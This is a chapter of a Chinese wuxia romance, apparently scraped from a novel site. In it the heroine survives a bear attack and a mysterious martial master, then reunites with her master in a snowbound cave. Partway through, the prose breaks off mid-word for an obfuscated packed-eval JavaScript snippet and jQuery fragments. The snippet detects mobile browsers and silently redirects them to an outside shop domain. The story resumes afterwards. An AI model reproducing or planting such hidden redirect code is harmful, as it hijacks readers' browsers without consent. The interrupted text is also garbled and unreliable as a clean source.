萧慕棉瞳孔微微放大,眼中满是震惊与不可置信。
男人伸出手,手指指向一处山坳,淡淡道:“你被骗了。沿着这条路便可下山,途中有山洞可以过夜。日后,莫要再来天山了,下一次,你可不会如此幸运。”
萧慕棉正欲追问,沉重的脚步声传来,一只棕熊从拐角处出现。
棕熊身高数丈,体型庞大,浑身棕色的毛发如同钢针一般坚硬。它的眼睛里闪烁着凶狠的光芒,口中发出低沉的咆哮,让人不寒而栗。
萧慕棉按住剑柄,强迫自己提起精神,昨夜的休憩并未让她的伤势完全愈合,反倒是让她放松了警惕,现下如何打得过巨大的棕熊。
萧慕棉的目光瞟向白衣男子,他依旧一副云淡风轻的模样,拢了拢手上的雪恋花,转身就走。
“诶,你……”话音未落,棕熊猛地扑向萧慕棉,它的爪子如同锋利的刀刃,带着呼呼的风声袭来。
萧慕棉顺势挥出长剑,剑刃在空中划过一道冰冷的弧线,砍向棕熊的腿部。
棕熊吃痛,发出一声愤怒的咆哮。它再次扑了过来,萧慕棉躲闪不及,衣袍被撕下来一大片,手臂上鲜血淋漓,长剑掉在了雪地上。
棕熊站了起来,举起前爪,张开血盆大口,势要将萧慕棉一口吞下。
电光石火间,一阵劲风闪过,萧慕棉的身体不自觉地微微颤抖,她从未感受到过如此厉害的内力。
萧慕棉还未看清他的身影,那白衣男子便以迅雷不及掩耳之势,一掌拍在了棕熊腹部,巨大的棕熊飞出数十丈,倒在地上抽搐了几下,不再动弹。
萧慕棉震惊地看着远处巨大的棕熊尸体,心中骇然,即便是爹爹,也不可能一掌便能干脆利落地拍死一头几百斤的棕熊。
男子斜眼瞟向萧慕棉,口中清晰地吐出两个字:“废物。”
萧慕棉:“……”
寒风拂过,萧慕棉感觉格外的冷。片刻的沉默,男子突然轻笑出声:“你可真走运,难得我这两日心情好。”
萧慕棉恍若如梦初醒,急急朝棕熊尸体奔去,棕熊的腹部,一个掌印深深地印了进去,她拨开棕熊的毛发,褐色的熊皮上是一个深陷的血红掌印。
萧慕棉浑身颤抖,艰难地咽了一口唾沫,脸色在瞬间变得苍白,仿佛所有的血液都在这一刻被抽离。
仅一眼,她便能确定,这才是真正的天煞罗经。
萧慕棉突然无比赞同爹爹说的,有天煞罗经傍身,他完全没理由去抢夺琴心剑谱。
萧慕棉的呼吸变得急促而紊乱,心脏在胸膛内狂跳不已。她深吸一口气,冷冽的寒意刺激着五脏六腑,她逐渐从震惊中抽离出一丝理智。
萧慕棉缓缓回头,看向白衣男子的方向,可那里,只有一片雪恋花的洁白花瓣正随风卷到半空中。
萧慕棉颓然地走在下山的路上,辰千澈绝没有理由闲的没事跨越千山万水去鲸海派抢什么琴心剑谱。
她比对掌印,吴长老和赵斯南身上的掌印也不是辰千澈留下的。
此上天山,不仅没能查出真相,反倒让一切更加扑朔迷离。
更要命的是,关于辰千澈的那些传闻绝非虚言,看相貌,他还不到三十,但爹爹和杜叔叔联手也不会是他的对手,就算再加一个秦烬阳,亦很难说。
天空阴沉得仿佛要压下来,乌云密布,狂风骤起,卷着雪花,肆意飞舞,以惊人的速度横扫过整个山坳。
凛冽的风如同无数把锋利的冰刃,在空旷的山谷间穿梭,发出凄厉的啸声。
雪片越来越大,越来越密,很快就模糊了视线。积雪亦被狂风掀起,形成一道道白色的雪浪,雪浪翻滚着,奔腾着,仿佛要将一切吞噬殆尽。
萧慕棉顶着风雪艰难前行着,每走一步,伤口上的血痂便被牵扯得疼一下。风如刀割般划过脸庞,带来刺骨的寒冷,让人几乎无法呼吸。
萧慕棉背靠一块巨石喘了口气,但她知道这不是长久之计,这样的风雪至少会肆虐一整晚,暴露在雪地中只有死路一条。
她深吸一口气,努力让自己保持着意志,重新步入风雪之中。
终于,一个黑漆漆的洞口依稀出现在风雪之后,萧慕棉憋着一口气朝山洞疾步而去,最后几乎是滚进了山洞中。
这个山洞不深,她拢了拢被狂风刮得不整的长袄,走到山洞的尽头,靠在石壁上休息。风雪的呼啸声不绝于耳,萧慕棉强打着精神不让自己睡晕过去。
忽的,一阵细碎的声音传来,萧慕棉屏住呼吸,朝洞口望去,隐隐约约一个修长的黑影走了进来。
几乎在刹那之间,萧慕棉与来人同时出手,剑尖抵在对方的喉咙。
剑掉落在地上,发出清脆的鸣响。一双手覆在萧慕棉的背上,将她拥入怀中,周身萦绕着熟悉的味道,这种熟悉感让萧慕棉湿了眼眶。
“你……你怎么来了?”萧慕棉小声抽泣着,温热的泪水顺着脸颊,滴进了秦烬阳的领口。
秦烬阳并未说话,头深深埋在怀中女子的肩上,所有的日夜兼程,风雨无阻,都在这一刻得到了释然。他只想深切地感受怀中女子是真实存在的。
萧慕棉误以为秦烬阳是生气了,轻轻扯了他的袖口,委屈地说道:“你不要生气好不好,我现在不好好地在这儿么。”
见秦烬阳还是没反应,她语气又软了几分:“我答应你,以后再也不一个人行动,你不要生气了。”
余下的话,都消失在了炙热的吻中。所有的担忧、思念,在这一刻爆发,冰冷的双唇覆了上去,带着前所未有的热烈,将她多余的话堵了回去。
柔软的舌尖汲取着她的味道,双手紧紧地将她勒在自己怀中,想要将她刻进自己骨子里。
萧慕棉感觉自己晕乎乎的,她蜷缩在秦烬阳的怀中,沉沉地睡去了。自离开胥凉城,她再也没睡过这么好的觉。
睡梦中,萧慕棉感觉有人在轻轻拍自己的脸,带着无限的温柔唤着她的名字,“棉棉,醒醒。”
她朦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518599|139805||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
朦胧胧地睁开眼,水和干粮已经递到了嘴边。
萧慕棉站起身,看着正在捏胳膊的秦烬阳,不好意思地微微垂头,简直不敢想秦烬阳的手臂有多麻。
外面的风雪略小了一些,秦烬阳来到洞口,查看外面的情况:“风在变小,再等一会儿出发吧。”
他回过头,瞳孔猛然一缩,心仿佛被人刺了一剑。
萧慕棉跟着秦烬阳来到了洞口,光照亮了她的身影,直到此刻,秦烬阳才看清萧慕棉是什么模样。
乌黑的长发杂乱不堪,她脸色苍白,如凝脂一般的脸颊上被寒风刮出几道浅浅的干裂。
脖子上有一道长长的血痂,衣领上残留着干涸的暗红血迹。长袄到处都被刮破了,深深浅浅的杂乱无章,有的地方甚至完全破掉了,隐隐透出凝固的伤痕。
萧慕棉被秦烬阳看得有些不好意思,她也猜到了自己此刻肯定很是狼狈,但不知是有多狼狈才让秦烬阳的眼神如此备受冲击。
萧慕棉理了理长袍,嘟嘟囔囔道:“你也不怎么样。”
秦烬阳的眼中心中满是心疼,他轻轻碰了下萧慕棉脖子上的血痂,柔声问道:“身上的伤多吗?”
萧慕棉摇摇头,朝秦烬阳嫣然一笑,想要他放心。
秦烬阳将她揽入怀中,额头抵着她的额头:“是遇上了什么,才会让这么厉害的姑娘伤成这样?”
“狼群,好多狼,那只头狼特别壮,它们一起朝我围过来。但我可厉害了,我把它们都杀了,它们的尸首,现下怕是已经被大雪覆盖了。”
秦烬阳轻笑一声,双手捧起萧慕棉的脸颊:“是的,我的棉棉最厉害了。”
他顿了顿,接着问道:“你没有遇上什么人吧。”
萧慕棉摇摇头,脸不红心不跳地说道:“没有。”
“那就好。”秦烬阳松了一口气,想来也应该没遇上,倘若遇见了那个人,是不可能活着离开的。
风雪渐平,秦烬阳收拾好东西,牵着萧慕棉的手下山去。
萧慕棉有些好奇:“咦,你怎么知道这条路的?”
半晌,秦烬阳才回答道:“我花了很多钱,从陌生人那儿得到了信息。”
“让您破费了,真是不好意思。”
秦烬阳笑道:“为你,花多少钱都值,你若是觉得不好意思,以身相许便是了。”
萧慕棉抿了抿嘴唇,苍白的脸颊上浮现淡淡的红晕,但她还是不服输地回了句:“你是我师父,你来寻我是应该的,这声师父我可不能白叫。”
秦烬阳:“你有几个时候叫过我师父,天天都是秦烬阳秦烬阳地直呼我的名字。”
**
辰千澈回到教中,右手握着纯净的雪恋花,左手提着萧慕棉未曾见到的布袋,布袋被大片的血迹染成了触目惊心的红色。
辰千澈所过之处,所有人低眉垂目,无一人敢正眼看他。
他坐在高高的宝座之上,将布袋扔了下去,两颗人头自布袋中滚落出来。